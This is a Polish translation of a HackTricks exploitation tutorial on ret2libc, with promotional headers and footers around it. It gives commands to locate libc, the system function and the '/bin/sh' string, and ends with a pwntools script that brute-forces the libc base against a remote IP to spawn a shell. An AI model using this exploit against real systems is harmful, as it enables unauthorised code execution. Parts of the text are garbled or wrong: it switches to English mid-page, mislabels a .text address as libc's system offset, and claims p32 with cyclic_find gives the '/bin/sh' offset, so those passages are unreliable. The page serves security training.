5.9 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Jeśli znalazłeś podatny plik binarny i sądzisz, że możesz go wykorzystać za pomocą Ret2Lib, tutaj znajdziesz kilka podstawowych kroków, które możesz podjąć.
Jeśli jesteś wewnątrz hosta
Możesz znaleźć adres libc
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Uzyskaj przesunięcie funkcji systemowej
To uzyskać przesunięcie funkcji systemowej, możemy użyć narzędzia objdump
. Narzędzie to analizuje plik wykonywalny i wyświetla informacje o sekcjach, symbolach i funkcjach w pliku.
Aby uzyskać przesunięcie funkcji systemowej, wykonaj następujące kroki:
-
Uruchom polecenie
objdump -T <nazwa_pliku>
w terminalu, gdzie<nazwa_pliku>
to nazwa pliku wykonywalnego, w którym chcemy znaleźć przesunięcie funkcji systemowej. -
Przeszukaj wynik polecenia
objdump
w poszukiwaniu funkcji systemowej, której przesunięcie chcemy znaleźć. Możesz to zrobić, szukając nazwy funkcji systemowej, na przykładsystem
. -
Znajdź wiersz, który zawiera nazwę funkcji systemowej i przesunięcie. Przesunięcie będzie znajdować się w kolumnie po prawej stronie.
Przykładowy wynik polecenia objdump -T <nazwa_pliku>
może wyglądać tak:
...
00000000004005e0 g DF .text 0000000000000013 Base system
...
W tym przykładzie przesunięcie funkcji systemowej wynosi 00000000004005e0
.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
To get the offset of "/bin/sh", we can use the pwn
module in Python. The pwn
module provides a function called p32
that converts an integer to a little-endian byte string. We can use this function to convert the address of "/bin/sh" to a byte string and then find its offset in the payload.
Here is an example code snippet to calculate the offset:
from pwn import *
# Address of "/bin/sh"
bin_sh_addr = 0x12345678
# Convert the address to a little-endian byte string
bin_sh_bytes = p32(bin_sh_addr)
# Find the offset of "/bin/sh" in the payload
offset = cyclic_find(bin_sh_bytes)
print("Offset of \"/bin/sh\":", offset)
Replace 0x12345678
with the actual address of "/bin/sh" in your target binary. After running the code, it will print the offset of "/bin/sh" in the payload.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj odczytać ten plik (prawdopodobnie będziesz musiał być rootem).
Tutaj możesz znaleźć dokładne miejsce, w którym jest załadowana biblioteka libc wewnątrz procesu i gdzie będzie załadowana dla każdego dziecka procesu.
W tym przypadku jest załadowana pod adresem 0xb75dc000 (Będzie to adres bazowy biblioteki libc)
Używając gdb-peda
Uzyskaj adres funkcji system, funkcji exit i ciągu znaków "/bin/sh" za pomocą gdb-peda:
p system
p exit
find "/bin/sh"
Omijanie ASLR
Możesz spróbować bruteforce'ować adres bazowy libc.
for off in range(0xb7000000, 0xb8000000, 0x1000):
Kod
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.